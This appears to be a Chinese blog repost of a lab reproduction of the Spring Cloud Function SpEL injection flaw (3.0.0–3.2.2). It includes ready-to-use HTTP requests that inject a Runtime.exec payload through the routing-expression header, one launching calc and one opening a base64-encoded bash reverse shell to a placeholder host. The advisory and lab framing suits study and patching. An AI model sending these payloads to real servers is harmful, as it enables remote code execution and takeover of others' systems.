当前位置: 首页 > article >正文

关于Spring Cloud 表达式注入漏洞——分析复现

更多漏洞分析复现,可前往无问社区查看icon-default.png?t=O83Ahttp://www.wwlib.cn/index.php/artread/artid/5175.html
一、漏洞成因

近期,Spring Cloud官方发布了一则安全公告,修复了一个Spring Cloud Function中的 SPEL表达式注入漏洞。该漏洞是由于Spring Cloud Function中RoutingFunction类的 apply方法将请求头中spring.cloud.function.routing-expression传入的参数值作为SPEL表达式进行处理,攻击者可以通过构造恶意的语句来实现SPEL表达式注入漏洞。

影响版本

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

二、漏洞复现

1、 本地搭建

利用编译好的环境进行本地复现,下载地址:https://github.com/Pizz33/Spring-Cloud-Function-SpEL

图片

图片

POC:

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: 
T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

test

图片

1、 在线环境反弹shell

vulfocus在线环境反弹shell:http://vulfocus.io/

图片

反弹Shell POC

POST /functionRouter HTTP/1.1
Host: 123.58.236.76:64443
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
spring.cloud.function.routing-expression: 
T(java.lang.Runtime).getRuntime().exec("bash -c 
{echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzY2NjYgMD4mMQo=}|
{base64,-d}|{bash,-i}")
Connection: close
Content-Length: 8
test

vps上进行端口监听

图片

执行POC后,vps上收到了弹回的shell

图片

三、修复方案

升级安全版本


http://www.kler.cn/a/301239.html

相关文章:

  • webpack配置
  • 【Spring】循环引用 解决流程,只用一二级缓存?
  • Stable Diffusion核心网络结构——CLIP Text Encoder
  • 如何在C#中处理必盈接口返回的股票数据?
  • 5G的SUCI、SUPI、5G-GUTI使用场景及关系
  • webSocket的使用文档
  • 图像去噪的艺术:自适应中值滤波器的应用与实践
  • BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin
  • mycat双主高可用架构部署-mycat安装
  • 【诉讼流程-健身房-违约-私教课-多次沟通无效-民事诉讼-自我学习-铺平通往法律的阶梯-讲解(1)】
  • vscode 如何格式化yaml
  • 如何使用QT完成记事本程序的UI界面布局
  • 【图论】虚树 - 模板总结
  • 2023Idea版本无法下载通义灵码插件以及无法登录问题
  • 828华为云征文 | Flexus X实例与华为云EulerOS的Tomcat安装指南
  • ELK在Linux上部署教程
  • RISC-V Non-MMU Linux学习笔记
  • 视频安防监控LntonAIServer安防管理平台抖动检测和过亮过暗检测
  • 机器学习与深度学习的区别
  • 生命周期函数
  • vue elementUI更改Checkbox 多选框禁用状态下文本颜色
  • AutoSar AP平台的SOMEIP文档的理解笔记
  • C++ priority_queue
  • 漫谈设计模式 [4]:原型模式
  • go-map系统学习
  • livox mid360不使用ros接收雷达数据